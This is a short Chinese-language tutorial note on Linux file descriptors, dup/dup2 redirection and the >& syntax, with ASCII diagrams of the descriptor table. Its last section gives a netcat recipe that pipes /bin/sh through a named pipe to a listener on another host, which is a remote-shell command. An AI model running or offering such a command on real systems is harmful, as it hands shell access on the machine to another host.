1. Linux中执行open操作,打开一个文件时,会在进程文件描述表中新添加一项(文件描述符id + 指向内核文件描述表项的指针)。
文件描述符表
------------
fd0 0 | p0 -------------> 文件表0 ---------> vnode0
------------
fd1 1 | p1 -------------> 文件表1 ---------> vnode1
------------
fd2 2 | p2
------------
2. 重定向时,直接修改指向内核文件描述表项的指针。(dup, dup2系统调用)
> 将标准输出重定向到某个文件中。 (注:>&1 重定向到标准输出)
文件描述符表
------------
fd0 0 | p0
------------
n_fd 1 | p1 -----------
------------ \
fd2 2 | p2 \
------------ _\|
fd3 3 | p3 -------------> 文件表3 ---------> vnode3
------------
3. >& 将标准输出和错误输出都重定向到指定文件。
如 make >& log 将make输出的所有信息都写入log文件中。(也可以这么写:make > log 2 >& 1)
4. 利用NC命令将主机A中的重定向到主机B:
1). B的终端中执行如下命令:
nc -lvn 1234
2). A中执行:
mknod /tmp/testpipe
/bin/sh 0</tmp/testpipe | nc IP_OF_B 1234 1>/tmp/testpipe
http://www.cnblogs.com/GODYCA/archive/2013/01/05/2846197.html